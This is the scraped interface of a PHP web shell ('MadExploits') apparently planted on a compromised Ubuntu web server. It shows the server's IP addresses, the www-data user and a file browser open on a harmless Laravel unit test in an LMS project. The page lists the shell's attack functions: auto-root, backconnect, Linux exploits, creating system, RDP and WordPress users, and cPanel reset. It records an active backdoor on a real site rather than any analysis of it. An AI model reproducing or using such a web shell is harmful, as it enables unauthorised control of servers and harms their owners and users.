Linux ubuntu22 5.15.0-133-generic #144-Ubuntu SMP Fri Feb 7 20:47:38 UTC 2025 x86_64
nginx/1.18.0
: 128.199.27.159 | : 216.73.216.1
Cant Read [ /etc/named.conf ]
8.1.31
www-data
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
var /
www /
html /
lms-api /
tests /
Unit /
[ HOME SHELL ]
Name
Size
Permission
Action
Trek
[ DIR ]
drwxrwxr-x
CalculateTest.php
865
B
-rw-rw-r--
DetailTest.php
669
B
-rw-rw-r--
OtherTest.php
6.52
KB
-rw-rw-r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : CalculateTest.php
<?php namespace Tests\Unit; use App\Modules\User\Entities\User; use Illuminate\Foundation\Testing\DatabaseMigrations; use Illuminate\Foundation\Testing\DatabaseTransactions; use Tests\TestCase; use App\Tests\Calculate; use App\Traits\CommonTrait; class CalculateTest extends TestCase { use CommonTrait; public function setUp() { parent::setUp(); $this->calculate = new Calculate(); } public function test_areaOfSquare_WhenCalledWithLength2_Return4() { $length = 2; $response = $this->calculate->areaOfSquare($length); $this->assertTrue(is_int($response)); $this->assertEquals(4, $response); } public function testDatabase() { $user = factory(User::class)->create(); $this->assertDatabaseHas('users', [ 'email' => $user->email ]); } }
Close